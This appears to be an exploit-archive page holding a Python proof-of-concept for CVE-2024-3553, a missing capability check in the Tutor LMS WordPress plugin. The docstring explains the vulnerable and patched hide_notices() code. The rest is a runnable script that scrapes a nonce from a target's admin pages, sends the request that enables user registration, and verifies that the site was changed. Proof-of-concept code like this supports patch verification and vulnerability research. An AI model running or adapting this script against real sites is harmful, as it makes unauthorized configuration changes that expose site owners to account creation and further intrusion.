4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit-cve-2024-3553.py PY
#!/usr/bin/env python3
"""
CVE-2024-3553 Exploit - Tutor LMS Missing Authorization Vulnerability
Author: Security Researcher
Date: 2024

VULNERABILITY DESCRIPTION:
The Tutor LMS plugin for WordPress (versions <= 2.6.2) contains a missing
capability check in the hide_notices() function in classes/User.php.

VULNERABLE CODE (version 2.6.2):
    public function hide_notices() {
        $hide_notice         = Input::get( 'tutor-hide-notice', '' );
        $is_register_enabled = Input::get( 'tutor-registration', '' );
        if ( is_admin() && 'registration' === $hide_notice ) {
            tutor_utils()->checking_nonce( 'get' );

            if ( 'enable' === $is_register_enabled ) {
                update_option( 'users_can_register', 1 );  // <-- NO CAPABILITY CHECK!
            } else {
                self::$hide_registration_notice = true;
                setcookie( 'tutor_notice_hide_registration', 1, time() + ( 86400 * 30 ), tutor()->basepath );
            }
        }
    }

THE FLAW:
1. The function checks if is_admin() - which only checks if the current page is in the admin area,
   NOT if the user is an administrator
2. It requires a valid nonce, BUT the nonce is checked AFTER the is_admin() check
3. The nonce is generated from the admin notice, which is accessible to any user who can view admin pages
4. There is NO capability check (like current_user_can('manage_options'))
5. This allows ANY user (even unauthenticated) to enable user registration

PATCHED CODE (version 2.7.0):
    public function hide_notices() {
        $hide_notice         = Input::get( 'tutor-hide-notice', '' );
        $is_register_enabled = Input::get( 'tutor-registration', '' );
        $has_manage_cap      = current_user_can( 'manage_options' );  // <-- ADDED CAPABILITY CHECK

        if ( $has_manage_cap && is_admin() && 'registration' === $hide_notice ) {
            tutor_utils()->checking_nonce( 'get' );

            if ( 'enable' === $is_register_enabled ) {
                update_option( 'users_can_register', 1 );
            } else {
                self::$hide_registration_notice = true;
                setcookie( 'tutor_notice_hide_registration', 1, time() + MONTH_IN_SECONDS, tutor()->basepath );
            }
        }
    }

IMPACT:
- Unauthenticated attackers can enable user registration on sites where it's disabled
- This allows attackers to create accounts on sites that should have registration disabled
- Could lead to unauthorized access, spam accounts, or privilege escalation if combined with other vulnerabilities

EXPLOITATION STEPS:
1. Obtain a valid nonce from any admin page (the nonce is public)
2. Craft a request with tutor-hide-notice=registration and tutor-registration=enable
3. Include the valid nonce in the request
4. Send the request to trigger the vulnerability
5. User registration is now enabled on the target site
"""

import argparse
import requests
import sys
from urllib.parse import urljoin
import re

class TutorLMSExploit:
    def __init__(self, target_url):
        self.target_url = target_url.rstrip('/')
        self.session = requests.Session()
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })

    def get_nonce(self):
        """
        Extract the Tutor nonce from the WordPress admin area.
        The nonce is publicly accessible and used for the hide_notices functionality.
        """
        print("[*] Step 1: Attempting to extract nonce from admin pages...")

        # Try to get nonce from the admin dashboard
        # Note: In vulnerable versions, the nonce is exposed in admin notices
        admin_url = urljoin(self.target_url, '/wp-admin/')

        try:
            response = self.session.get(admin_url, allow_redirects=True)

            # Look for the tutor nonce in the page
            # The nonce pattern is typically: _wpnonce=<nonce_value>
            nonce_match = re.search(r'_wpnonce=([a-f0-9]+)', response.text)

            if nonce_match:
                nonce = nonce_match.group(1)
                print(f"[+] Successfully extracted nonce: {nonce}")
                return nonce

            # Alternative: Try to find tutor-specific nonce patterns
            tutor_nonce_patterns = [
                r'tutor[_-]nonce["\']?\s*:\s*["\']([a-f0-9]+)["\']',
                r'data-nonce=["\']([a-f0-9]+)["\']',
                r'nonce["\']?\s*:\s*["\']([a-f0-9]+)["\']'
            ]

            for pattern in tutor_nonce_patterns:
                match = re.search(pattern, response.text, re.IGNORECASE)
                if match:
                    nonce = match.group(1)
                    print(f"[+] Successfully extracted nonce: {nonce}")
                    return nonce

            print("[-] Could not find nonce in admin pages")
            print("[!] Note: This exploit requires a valid nonce which may be obtainable through:")
            print("    - Logged-in user access to admin area")
            print("    - Publicly exposed admin notices")
            print("    - Other information disclosure vulnerabilities")
            return None

        except Exception as e:
            print(f"[-] Error extracting nonce: {str(e)}")
            return None

    def check_registration_status(self):
        """Check if user registration is currently enabled."""
        print("\n[*] Checking current registration status...")

        try:
            # Check the registration page
            register_url = urljoin(self.target_url, '/wp-login.php?action=register')
            response = self.session.get(register_url)

            if 'Registration is disabled' in response.text or \
               'Registrations are closed' in response.text or \
               response.status_code == 302:  # Redirect usually means disabled
                print("[+] Registration is currently DISABLED")
                return False
            elif '<form' in response.text and 'user_login' in response.text:
                print("[+] Registration is currently ENABLED")
                return True
            else:
                print("[?] Registration status unclear")
                return None

        except Exception as e:
            print(f"[-] Error checking registration status: {str(e)}")
            return None

    def enable_registration(self, nonce):
        """
        Exploit the vulnerability to enable user registration.

        The vulnerability is in the hide_notices() function which:
        1. Checks is_admin() (only checks if in admin area, NOT user capability)
        2. Requires nonce (which can be obtained)
        3. Missing current_user_can('manage_options') check
        4. Allows enabling registration via tutor-registration=enable parameter
        """
        print(f"\n[*] Step 2: Attempting to enable user registration...")
        print(f"[*] Target: {self.target_url}")

        # Construct the exploit URL
        exploit_url = urljoin(self.target_url, '/wp-admin/index.php')

        params = {
            'tutor-hide-notice': 'registration',
            'tutor-registration': 'enable',
            '_wpnonce': nonce
        }

        print(f"[*] Exploit URL: {exploit_url}")
        print(f"[*] Parameters: {params}")

        try:
            # Send the exploit request
            response = self.session.get(exploit_url, params=params, allow_redirects=True)

            print(f"[*] Response status: {response.status_code}")

            # Check if the exploit was successful
            if response.status_code == 200:
                print("[+] Request sent successfully!")
                return True
            else:
                print(f"[-] Unexpected response status: {response.status_code}")
                return False

        except Exception as e:
            print(f"[-] Error during exploitation: {str(e)}")
            return False

    def verify_exploitation(self):
        """Verify that the exploitation was successful by checking registration status."""
        print("\n[*] Step 3: Verifying exploitation success...")

        # Wait a moment for the change to take effect
        import time
        time.sleep(2)

        status = self.check_registration_status()

        if status == True:
            print("\n[!] ========================================")
            print("[!] EXPLOITATION SUCCESSFUL!")
            print("[!] User registration is now ENABLED")
            print("[!] ========================================")
            return True
        elif status == False:
            print("\n[-] ========================================")
            print("[-] EXPLOITATION FAILED")
            print("[-] User registration is still DISABLED")
            print("[-] ========================================")
            return False
        else:
            print("\n[?] ========================================")
            print("[?] EXPLOITATION STATUS UNCLEAR")
            print("[?] Manual verification recommended")
            print("[?] ========================================")
            return None

    def run(self, nonce=None):
        """Execute the complete exploitation chain."""
        print("=" * 60)
        print("CVE-2024-3553 Exploit - Tutor LMS Missing Authorization")
        print("Target: " + self.target_url)
        print("=" * 60)

        # Check initial registration status
        initial_status = self.check_registration_status()

        if initial_status == True:
            print("\n[!] Registration is already enabled. Exploit not needed.")
            return True

        # Get nonce if not provided
        if not nonce:
            nonce = self.get_nonce()
            if not nonce:
                print("\n[-] Failed to obtain nonce. Exploitation cannot continue.")
                print("[!] You can manually provide a nonce using --nonce parameter")
                return False
        else:
            print(f"[*] Using provided nonce: {nonce}")

        # Attempt exploitation
        if self.enable_registration(nonce):
            # Verify the result
            return self.verify_exploitation()
        else:
            print("\n[-] Exploitation failed during request phase")
            return False

def main():
    parser = argparse.ArgumentParser(
        description='CVE-2024-3553 Exploit - Tutor LMS Missing Authorization',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=__doc__
    )
    parser.add_argument('target', help='Target WordPress URL (e.g., https://example.com)')
    parser.add_argument('--nonce', help='Manually provide a WordPress nonce', default=None)
    parser.add_argument('--check-only', action='store_true',
                       help='Only check registration status, do not exploit')

    args = parser.parse_args()

    exploit = TutorLMSExploit(args.target)

    if args.check_only:
        exploit.check_registration_status()
    else:
        success = exploit.run(nonce=args.nonce)
        sys.exit(0 if success else 1)

if __name__ == '__main__':
    main()